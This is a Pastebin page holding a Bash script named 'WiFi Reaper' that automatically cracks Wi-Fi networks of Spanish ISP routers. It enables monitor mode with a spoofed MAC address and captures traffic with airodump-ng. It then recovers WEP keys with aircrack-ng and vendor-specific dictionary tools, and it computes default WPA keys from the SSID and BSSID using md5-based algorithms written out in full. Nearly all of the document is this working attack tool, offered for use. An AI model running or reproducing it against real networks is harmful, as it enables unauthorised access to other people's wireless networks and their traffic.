Advertisement
noes1s

wreaper

Jul 21st, 2011
280
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Bash 7.89 KB | None | 0 0
  1. #!/bin/bash
  2. #  ,___     r3
  3. #  ¡  _`    WiFi Reaper
  4. #  ª_/()    blaksark@gmail.com
  5. #  |\` `,   http://pastebin.com/u/noes1s
  6. # _·'   l   CC BY-NC-SA 3.0
  7. #___________________________________________________________________________________________________
  8. # r2 SpeedTouch, arguments
  9. # r1 WLAN_, JAZZTEL_, WLANXXXX, JAZZTELXXXX, WLANXX, ONO
  10. #___________________________________________________________________________________________________
  11. # VARIABLES:
  12.  
  13.     DATOS="/tmp"
  14.     WAITING="sleep 4"
  15.     WORDLIST="$DATOS/wordlist"
  16.     LOG="$DATOS/keys"
  17.     OUTPUT="$DATOS/output"
  18.     DEPENDENCIAS='aircrack-ng xterm jazzteldecrypter ono4xx wlan4xx wlandecrypter stkeys'
  19. #___________________________________________________________________________________________________
  20. # ROOT/DEPENDENCIES CHECK:
  21.  
  22. clear
  23. echo -e "\e[1;32mWiFi\e[30m/\e[31mReaper\e[m"
  24.  
  25. ((UID)) && echo -e "\n\e[1;31m"' (!) '"\e[mUtiliza: sudo bash $0\n" && exit
  26.  
  27. if ! which $DEPENDENCIAS; then
  28.     if ping -c2 tiny.cc >/dev/null; then
  29.         add-apt-repository ppa:ed10vi86/wifi
  30.         apt-get update
  31.         apt-get install -y $DEPENDENCIAS
  32.     else  
  33.         echo -e "\n\e[1;31m"' (!) '"\e[mSe necesita internet para instalar $DEPENDENCIAS\n"
  34.         exit
  35.     fi
  36. fi
  37. for trash in "$LOG" "$OUTPUT"; do
  38.     rm -f $trash &>/dev/null
  39.     echo $trash cleaned
  40. done
  41.  
  42. #___________________________________________________________________________________________________
  43. # MODO MONITOR:
  44.  
  45. clear
  46. echo -e "\e[1;32mWiFi\e[30m/\e[31mReaper\e[m"
  47.  
  48. if [[ $1 ]]; then
  49.     iface=$1
  50. elif
  51.     showinterfaces=$(airmon-ng |awk '{print $1}' |egrep 'wlan|wifi|rausb|ath'); then  
  52.     PS3=$(echo -e "\e[36mSelecciona interfaz: \e[m")            
  53.     select iface in $showinterfaces; do break; done
  54. else
  55.     echo -e "\n\e[1;31m"' (!) '"\e[mNo se ha encontrado ninguna interfaz wireless\n"
  56.     exit
  57. fi
  58.  
  59. if ifconfig $iface up; then
  60.     airmon-ng stop $iface &>/dev/null
  61.     echo "Managed mode: $iface"
  62.     phy=$(airmon-ng |grep $iface |sed 's_.*\[__')        
  63.     if mon=$(airmon-ng |awk /$phy/'{print $1}' |head -2 |grep -v $iface); then
  64.         if [[ $(iwconfig 2>/dev/null |grep mon0 |grep Monitor) ]]; then
  65.             echo "Monitor mode: $mon (funcionando)"
  66.         else
  67.             ifconfig $mon down
  68.             iw reg set US
  69.             iwconfig $mon mode monitor
  70.             macchanger -A $mon
  71.             ifconfig $mon up
  72.             echo "Monitor mode: $mon (activado)"
  73.         fi
  74.     else
  75.         TMP=$(tempfile)
  76.         airmon-ng start $iface > $TMP
  77.         echo "Creando modo monitor en $iface..."
  78.         sleep 1
  79.         mon=$(awk '/enabled/{print $5}' $TMP |sed 's_)__')
  80.         rm -f $TMP                
  81.         ifconfig $mon down
  82.         iw reg set US
  83.         iwconfig $mon mode monitor
  84.         macchanger -A $mon
  85.         ifconfig $mon up
  86.         echo "Monitor mode: $mon (creado)"
  87.     fi            
  88.     ifconfig $iface up
  89. else
  90.     echo -e "\n\e[1;31m"' (!) '"\e[mNo se pudo activar la interfaz\n"
  91.     exit
  92. fi
  93.  
  94. #___________________________________________________________________________________________________
  95. # SCAN:
  96.  
  97. ps -A |grep airodump-ng && pkill -9 airodump-ng &>/dev/null
  98. airodump-ng -a -w $DATOS/capture $mon &>/dev/null &
  99.  
  100. #___________________________________________________________________________________________________
  101. # WEP:
  102.  
  103. WEPS=
  104. WPAS=
  105. STS=
  106. INJ=
  107. redes='WLAN|JAZZTEL|ONO|YACOM|WiFi'
  108.    
  109. STATUS(){
  110.     clear
  111.     echo -e "\e[1;32mWiFi\e[30m/\e[31mReaper\e[m"
  112.     $INFO
  113.     awk ' !x[$0]++' $OUTPUT > $LOG
  114.     bash $LOG
  115.     cp $LOG ~/WiFiReaper # DEVELOPERS ONLY
  116.     INFO=
  117. } 2>/dev/null
  118.  
  119. CRACK(){
  120.     INFO="echo -e \e[1;30m[ \e[0;33mCracking $essid\e[1;30m ]\e[m"
  121.     STATUS
  122.     ps -A |grep aircrack-ng && pkill -9 aircrack-ng &>/dev/null
  123.     aircrack-ng -qK1a1 -w $WORDLIST $DATOS/*.cap -e $essid > $DATOS/$essid
  124.     key=$(awk '/II/{print $7}' $DATOS/$essid)
  125.     if [[ $key ]]; then
  126.         echo 'printf' "'\e[32m %-26s \e[1;30m[ \e[1;32m%-10s\e[1;30m ]\e[m\n'" "$essid" "$key" >> $OUTPUT
  127.         WEPS="${essid} ${WEPS}"
  128.     else
  129.         echo 'printf' "'\e[31m %-26s \e[1;30m[ \e[1;31m%-10s\e[1;30m ]\e[m\n'" "$essid" "'password no encontrada'" >> $OUTPUT
  130.         $WAITING
  131.     fi
  132.     STATUS    
  133. } 2>/dev/null
  134.  
  135. while : ; do
  136.  
  137.     # WPA ( NO DATA REQUIRED )
  138.     INFO="echo -e \e[1;30m[ \e[0;33mBuscando redes WPA\e[1;30m ]\e[m"
  139.     STATUS
  140.     TMP=$(tempfile)
  141.     iwlist $iface scan > $TMP 2>/dev/null || sleep 10
  142.     SSIDLIST=$(cat $TMP |egrep "ESSID:\"((WLAN|JAZZTEL)_|Vodafone)(\w){4}" |cut -f 2 -d \")
  143.     if [ ! -z "$SSIDLIST" ]; then
  144.         for SSID in $SSIDLIST; do
  145.             if [[ ! $(echo "$WPAS" |grep -w "$SSID") ]]; then
  146.                 MAC=$(cat $TMP |grep -B6 "$SSID" |grep "Address:" |awk '{print $5}' |head -n 1)            
  147.                 if [[ $(echo $MAC |grep -i "^00:1F:A4:") ]]; then
  148.                     HEAD=$(echo -n "$SSID" |tr 'A-Z' 'a-z' |rev |cut -c -4 |rev)
  149.                     BSSIDP=$(echo -n "$MAC" |tr 'A-Z' 'a-z' |tr -d : |cut -c -8)
  150.                     KEY=$(echo -n "${BSSIDP}${HEAD}" |md5sum |tr 'a-z' 'A-Z' |cut -c -20)
  151.                 else
  152.                     HEAD=$(echo -n "$SSID" |sed -e "s/WLAN_//" -e "s/JAZZTEL_//" -e "s/Vodafone//" |tr 'a-z' 'A-Z')
  153.                     BSSID=$(echo -n "$MAC" |tr 'a-z' 'A-Z' |tr -d :)
  154.                     BSSIDP=$(echo -n "$BSSID" |cut -c-8)
  155.                     KEY=$(echo -n bcgbghgg$BSSIDP$HEAD$BSSID |md5sum |cut -c-20)
  156.                 fi
  157.                 echo 'printf' "'\e[34m %-26s \e[1;30m[ \e[1;34m%-10s\e[1;30m ]\e[m\n'" $SSID $KEY >> $OUTPUT
  158.                 WPAS="${SSID} ${WPAS}"
  159.             fi
  160.         done
  161.         $WAITING
  162.     fi
  163.     rm $TMP
  164.    
  165.     # SPEEDTOUCH ( NO IVS REQUIRED )
  166.     stlist=$(awk '!/WPA|OPN/&&/WEP/&&/SpeedTouch/{print $20}' $DATOS/*.csv | sed 's/,//' |awk ' !x[$0]++')
  167.     if [[ $stlist ]]; then
  168.         for essid in $stlist; do
  169.             if [[ ! $(echo "$STS" |grep -w "$essid") ]]; then
  170.                 stkeys -i $(echo $essid |sed 's/S.*h//') -o $DATOS/stkey &>/dev/null
  171.                 key=$(cat $DATOS/stkey |head -1)
  172.                 if [[ $key ]]; then
  173.                     echo 'printf' "'\e[32m %-26s \e[1;30m[ \e[1;32m%-10s\e[1;30m ]\e[m\n'" "$essid" "$key" >> $OUTPUT
  174.                 else
  175.                     echo 'printf' "'\e[31m %-26s \e[1;30m[ \e[1;31m%-10s\e[1;30m ]\e[m\n'" "$essid" "'password no encontrada'" >> $OUTPUT
  176.                 fi
  177.                 STATUS
  178.                 STS="${essid} ${STS}"
  179.             fi        
  180.         done    
  181.     fi
  182.    
  183.     # WEP CRACKING ( +4 IVS REQUIRED )
  184.     INFO="echo -e \e[1;30m[ \e[0;33mBuscando redes WEP\e[1;30m ]\e[m"
  185.     STATUS
  186.     $WAITING
  187.     essidlist=$(awk '!/;inf|WPA|OPN/&&/WEP/&&/'$redes'/{print $1,$14,$20}' $DATOS/*.csv \
  188.         |awk '{print $3}' |sed 's/,//' |awk ' !x[$0]++')
  189.        # |awk '!/ [0-3], /{print $3}' |sed 's/,//' |awk ' !x[$0]++'
  190.     if [[ $essidlist ]]; then
  191.         for essid in $essidlist; do
  192.             if [[ ! $(echo "$WEPS" |grep -w "$essid") ]]; then
  193.                 mac=$(awk '!/;inf|WPA|OPN/&&/WEP/&&/'$redes'/{print $1,$14,$20}' $DATOS/*.csv \
  194.                     |awk /$essid/'{print $1}' |sed 's/,//' |awk ' !x[$0]++')          
  195.                 if [[ $(echo $essid |grep WLAN_) ]]; then
  196.                      wlandecrypter $mac $essid $WORDLIST &>/dev/null
  197.                      CRACK
  198.                 elif [[ $(echo $essid |egrep '(WLAN[0-9]|YACOM|WiFi)') ]]; then
  199.                      wlan4xx $essid $mac $WORDLIST &>/dev/null
  200.                      CRACK
  201.                 elif [[ $(echo $essid |grep JAZZTEL_) ]]; then
  202.                      jazzteldecrypter $mac $essid $WORDLIST &>/dev/null
  203.                      CRACK
  204.                 elif [[ $(echo $essid |grep ONO) ]]; then
  205.                      ono4xx $essid $mac wep $WORDLIST &>/dev/null
  206.                      CRACK
  207.                 fi
  208.             fi
  209.         done
  210.     fi
  211.        
  212. done
  213.  
  214. #___________________________________________________________________________________________________
  215. # ARGUMENTS
  216.  
  217. while getopts "i" execute; do
  218.    case ${execute} in
  219.       i ) $iface=$1; exit ;;
  220.    esac
  221. done
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement